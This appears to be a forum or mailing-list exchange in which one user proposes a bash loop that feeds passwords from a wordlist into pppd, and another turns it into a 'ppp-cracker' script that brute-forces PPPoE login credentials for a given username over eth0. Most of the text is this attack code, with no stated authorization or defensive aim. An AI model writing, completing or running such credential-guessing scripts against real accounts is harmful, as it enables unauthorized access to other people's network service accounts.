What about something like that (didn't try it):
while read passwd; do
pppd call pppd-options password "$passwd"
if [ $? -eq 0 ]; then
echo "Found password: $passwd"
break
fi
done < /path/to/password-file
where "pppd-options" is a file containing pppd's options, and
"password-file" contains the passwords, one per line.
You probably need the following options in "pppd-options":
nodetach
maxconnect 5
This is exactly what I wanted. I made this little script based on yours:
#!/bin/bash
SETSID=/usr/bin/setsid
PPPD=/usr/sbin/pppd
PPPOE=/usr/sbin/pppoe
PPPD_OPTIONS="noipdefault noauth default-asyncmap defaultroute hide-password
nodetach usepeerdns mtu 1492 mru 1492 noaccomp noccp nobsdcomp nodeflate
nopcomp novj novjccomp lcp-echo-interval 30 lcp-echo-failure 3 pap-max-authreq
2 pap-restart 3 maxconnect 5"
PPPOE_OPTIONS="-I eth0"
PASSWORDS=/home/matheus/pass.txt
if test "$1" = "" ; then
echo "$0: Usage: ppp-cracker user">& 2
exit 1
fi
while read passwd; do
$SETSID $PPPD pty "$PPPOE $PPPOE_OPTIONS" $PPPD_OPTIONS user "$1" password
"$passwd"
if [ $? -eq 0 ]; then
echo "Found password: $passwd"
break
fi
done < $PASSWORDS
I've copied some parts from the adsl-start and adsl-connect scripts. Actually,
the script is not functional yet. It authenticates and, some seconds later,
exits with an input/output error. But I'm doing some changes based on the
scripts shipped with RP-PPPOE and I'm almost getting the script to work.
Thank you very much!
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